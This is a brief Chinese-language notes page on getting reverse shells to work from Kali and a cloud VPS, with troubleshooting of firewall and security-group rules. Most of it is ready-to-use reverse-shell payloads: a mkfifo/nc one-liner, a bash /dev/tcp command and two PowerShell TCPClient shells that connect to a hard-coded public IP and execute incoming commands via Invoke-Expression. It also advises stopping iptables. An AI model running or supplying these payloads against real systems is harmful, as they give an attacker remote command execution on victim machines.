反弹shell
1kali
虽然bash反弹命令里会有/dev/tcp,但是其实是cd不到这个文件的
kali由于一些尚未知道的原因无法进行bash反弹shell
能够使用的命令
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.226.129 5566 >/tmp/f |
2vps
外网IP无法反弹shell
不能curl,也无法接收到反弹shell
在phpstorm上对受害机进行反弹shell,得到报错内容
将防火墙关闭后解决
1 | service iptables stop |
关掉后也curl通了

3端口号
查找方式
linuxifconfig
windowsipconfig
bash -c "bash -i >& /dev/tcp/47.101.35.73/7777 <&1"
问题:新开的阿里ECS无法进行反弹shell
原因:入方向的规则进行了拦截,vps接受不到

新增配置规则以后可用
1 | $c=New-Object System.Net.Sockets.TCPClient("47.101.35.73",8888);$s=$c.GetStream();$w=New-Object IO.StreamWriter($s);$r=New-Object IO.StreamReader($s);$w.AutoFlush=$true;$w.WriteLine("Windows宿主机上线成功");while($true){try{$cmd=$r.ReadLine();if(!$cmd){continue};$out=Invoke-Expression $cmd 2>&1|Out-String;$w.WriteLine("$out`nPS>")}catch{$w.WriteLine("执行报错:$_`nPS>")}};$c.Close() |
1 | $c=New-Object System.Net.Sockets.TCPClient("47.101.35.73",8888);$s=$c.GetStream();$r=New-Object IO.StreamReader($s);$w=New-Object IO.StreamWriter($s);$w.AutoFlush=$true;while(($cmd=$r.ReadLine())-ne $null){$o=(iex $cmd 2>&1|Out-String);$w.WriteLine($o+"PS>")};$c.Close() |
cmd不支持套字
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/taq8ukm7ktp0dl5y
语雀文档ID: 181485097